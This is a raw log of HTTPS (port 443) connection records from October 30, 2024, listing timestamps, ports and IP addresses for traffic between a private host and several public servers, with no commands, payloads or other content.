Oct 30, 2024 16:25:22.918622971 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.918648958 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.918694973 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.918694973 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:22.918703079 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:22.972819090 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.039138079 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.039199114 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.039227962 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.039251089 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.039258003 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.039271116 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.039335966 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.039383888 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.039582014 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.039648056 CET	49705	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.039665937 CET	443	49705	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.100159883 CET	49673	443	192.168.2.16	204.79.197.203
Oct 30, 2024 16:25:23.369523048 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:23.369874001 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:23.369887114 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:23.370992899 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:23.371069908 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:23.372152090 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:23.372216940 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:23.402724028 CET	49673	443	192.168.2.16	204.79.197.203
Oct 30, 2024 16:25:23.411123037 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.411442041 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.411472082 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.411927938 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.412235022 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.412343979 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.412439108 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.417834997 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:23.417845964 CET	443	49707	142.250.184.196	192.168.2.16
Oct 30, 2024 16:25:23.459327936 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.464834929 CET	49707	443	192.168.2.16	142.250.184.196
Oct 30, 2024 16:25:23.516911030 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.517173052 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.517195940 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.517545938 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.517851114 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.517920017 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.518027067 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.560004950 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560072899 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560118914 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560126066 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.560148001 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560190916 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560190916 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.560204029 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560288906 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.560300112 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560559034 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560599089 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.560605049 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560616016 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.560663939 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.560671091 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.563327074 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.607795000 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.664549112 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.664633989 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.664690018 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.665313959 CET	49709	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.665333033 CET	443	49709	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.669285059 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.669332027 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.669414997 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.669688940 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.669698000 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.677002907 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.677104950 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.677146912 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.677155972 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.677170038 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.677211046 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.677217960 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.677274942 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.677313089 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.677319050 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.678106070 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.678144932 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.678158045 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.678164005 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.678201914 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.678564072 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.678697109 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.678735971 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.678741932 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.679369926 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.679419994 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.679425955 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.679471970 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.679512024 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.679516077 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.679527998 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.679564953 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.679570913 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.680278063 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.680326939 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.680332899 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.719800949 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.794116974 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794192076 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794231892 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794253111 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.794262886 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794303894 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794306993 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.794317961 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794365883 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.794372082 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794774055 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.794842005 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.794847965 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.795495033 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.795541048 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.795567036 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.795572042 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.795617104 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.795638084 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.795643091 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.796408892 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.796466112 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.796472073 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.796478033 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.796509027 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.797319889 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.797394991 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.797403097 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.797440052 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.797461033 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.797466993 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.797488928 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.797497988 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.797540903 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.797545910 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.797652960 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.798338890 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.798403978 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.798408985 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.798414946 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.798448086 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.798460007 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.799246073 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.799318075 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.911571026 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.911631107 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.911639929 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.911649942 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.911689997 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.911719084 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.911791086 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.911977053 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.912058115 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.912236929 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.912302017 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.912600040 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.912661076 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.912686110 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.912734032 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.912739038 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.912786961 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.912832975 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.912914038 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.912935019 CET	443	49708	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:23.912945986 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.912986994 CET	49708	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:23.915832043 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.915868044 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.916002035 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.916275024 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:23.916290998 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:23.931952000 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:23.979332924 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:24.003937960 CET	49673	443	192.168.2.16	204.79.197.203
Oct 30, 2024 16:25:24.063992023 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.064033031 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.064126968 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.064440966 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.064454079 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.285908937 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.286309958 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.286323071 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.286664963 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.287141085 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.287189007 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.287206888 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.309293032 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:24.309618950 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:24.309705973 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:24.312016010 CET	49700	443	192.168.2.16	188.114.97.3
Oct 30, 2024 16:25:24.312033892 CET	443	49700	188.114.97.3	192.168.2.16
Oct 30, 2024 16:25:24.319979906 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:24.320020914 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:24.320127964 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:24.320333958 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:24.320352077 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:24.340147972 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.435252905 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.435333967 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.435425043 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.437207937 CET	49710	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.437225103 CET	443	49710	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.535521030 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.535859108 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.535933018 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.537040949 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.537411928 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.537564993 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.537599087 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.579838037 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.675632954 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.675786972 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.675914049 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.676006079 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.676008940 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.676038027 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.676228046 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.676290989 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.676306009 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.676350117 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.676408052 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.677290916 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.677297115 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.680752993 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.681030989 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.681037903 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.683788061 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.684101105 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.684115887 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.684433937 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.684768915 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.684818983 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.684931993 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.684998035 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.685014009 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.723910093 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.794224024 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.794416904 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.794476032 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.794500113 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.794581890 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.794636011 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.794642925 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.794737101 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.794786930 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.794791937 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.795157909 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.795212030 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.795222044 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.795368910 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.795414925 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.795420885 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.795874119 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.795922041 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.795929909 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796027899 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796072960 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.796081066 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796175003 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796215057 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.796221972 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796731949 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796809912 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.796818018 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796844959 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.796888113 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.797022104 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.850816965 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.893639088 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.893688917 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.893733978 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.893759012 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.893774033 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.893834114 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.895831108 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.895900011 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.895929098 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.895951986 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.895956993 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.896003008 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.896008015 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.898952961 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.899048090 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.899054050 CET	443	49712	104.18.95.41	192.168.2.16
Oct 30, 2024 16:25:24.912858009 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.912961960 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.912998915 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.913038015 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.913041115 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.913083076 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.913120031 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.913135052 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.913181067 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.913196087 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.913638115 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.913703918 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.913717031 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914047003 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914108992 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.914120913 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914601088 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914650917 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914671898 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.914685011 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914704084 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914712906 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.914784908 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.914797068 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.914850950 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.915565968 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.915638924 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.915678024 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.915692091 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.915726900 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.915741920 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.916291952 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.916342974 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.916357040 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.916373968 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.916420937 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.916420937 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.917134047 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.917186975 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.917192936 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.917210102 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.917239904 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.917253971 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.944921017 CET	49712	443	192.168.2.16	104.18.95.41
Oct 30, 2024 16:25:24.953524113 CET	443	49711	104.18.94.41	192.168.2.16
Oct 30, 2024 16:25:24.953610897 CET	49711	443	192.168.2.16	104.18.94.41
Oct 30, 2024 16:25:24.954276085 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:24.954555035 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:24.954572916 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:24.956079006 CET	443	49713	35.190.80.1	192.168.2.16
Oct 30, 2024 16:25:24.956163883 CET	49713	443	192.168.2.16	35.190.80.1
Oct 30, 2024 16:25:24.957196951 CET	49713	443	192.168.2.16	35.190.80.1
